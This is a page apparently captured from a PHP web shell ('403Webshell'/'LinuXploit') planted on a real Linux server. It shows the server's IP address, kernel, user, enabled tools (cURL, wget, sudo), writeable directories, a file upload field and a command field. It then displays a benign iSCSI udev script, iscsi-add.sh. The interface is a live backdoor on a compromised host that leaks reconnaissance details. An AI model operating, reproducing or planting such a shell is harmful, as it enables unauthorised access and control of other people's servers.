403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.67
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib64/udev/script/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/udev/script/iscsi-add.sh
#!/bin/sh

# make /tmp/iscsi directory
if [ ! -d /tmp/iscsi ]; then
	mkdir /tmp/iscsi
fi

DEVPATH=$1
DEVNAME=$2

# get associated iqn
session=`echo ${DEVPATH} | awk -F "/" '{print $5}' | sed s/session//g`
iqn=`cat /sys/class/iscsi_session/session${session}/targetname`

# link iqn with the device node
ln -s /dev/${DEVNAME} /tmp/iscsi/${iqn}

Youez - 2016 - github.com/yon3zu
LinuXploit